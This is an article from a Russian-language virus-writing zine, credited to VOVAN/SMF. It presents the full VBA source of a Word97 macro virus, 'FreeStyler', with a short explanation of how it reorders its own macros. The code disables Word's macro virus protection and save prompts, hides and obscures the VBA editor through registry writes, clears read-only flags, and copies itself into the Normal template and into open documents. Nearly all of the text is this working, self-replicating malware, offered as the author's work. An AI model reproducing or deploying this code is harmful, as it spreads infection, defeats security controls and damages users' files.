- [Digital Virus Labs #11] - [Page 16] - Macro.Word97.FreeStyler.a (c) by VOVAN/SMF Macro.Word97.FreeStyler.a ~~~~~~~~~~~~~~~~~~~~~~~~~ В данном вирусе используется небольшой и простой пермутирующий механизм этот механизм меняет местами макросы. Делает он это последовательно т.е. переставляет макросы сверху вниз как показано на схеме. До пермутации После пермутации После пермутации ┌─Document_Open ┌─Document_Close ┌─Document_New │ Document_Close │ Docunent_New │ Document_Open │ Document_New │ Document_Open │ Document_Close └───> └───> └───> Private Sub Document_Open() On Error Resume Next Application.EnableCancelKey = 0 Application.ShowVisualBasicEditor = 0 Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1" System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1" Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD" ActiveDocument.ReadOnlyRecommended = 0 Application.ScreenUpdating = 0 Document_New If ActiveDocument.ReadOnly = 1 Then SetAttr ActiveDocument.FullName, 0 ActiveDocument.Reload End If If NormalTemplate.VBProject.VBComponents.Item(1).Name = "FreeStyler" Then DOT = True If ActiveDocument.VBProject.VBComponents.Item(1).Name = "FreeStyler" Then DOC = True If DOT = True And DOC = True Then GoTo 1 If DOT = False Then VV = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, FreeStyler.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule .DeleteLines 1, .CountOfLines .AddFromString VV End With NormalTemplate.VBProject.VBComponents.Item(1).Name = "FreeStyler" End If If DOC = False Then CC = FreeStyler.VBProject.VBComponents.Item(1).CodeModule.Lines(1, FreeStyler.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule .DeleteLines 1, .CountOfLines .AddFromString CC End With ActiveDocument.VBProject.VBComponents.Item(1).Name = "FreeStyler" Document_New End If If ActiveDocument.FullName = wdOpenFormatDocument Then ActiveDocument.SaveAs ActiveDocument.FullName 1: ActiveDocument.Saved = True 'VOVAN//SMF End Sub Private Sub Document_New() On Error Resume Next Application.EnableCancelKey = 0 Application.ShowVisualBasicEditor = 0 B = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) C = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines xxx = Mid(B, 13) fff = Len(xxx) - 2 hhh = Left(xxx, fff) Number = MacroContainer.VBProject.VBComponents(1).CodeModule.ProcCountLines(hhh, vbext_pk_Proc) VV = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, Number) With MacroContainer.VBProject.VBComponents.Item(1).CodeModule .DeleteLines 1, Number .InsertLines C, VV End With End Sub Private Sub Document_Close() On Error Resume Next If ActiveDocument.Name = ActiveDocument.FullName Then Document_New: End If ActiveDocument.Saved = True Then Call Document_Open Else End End Sub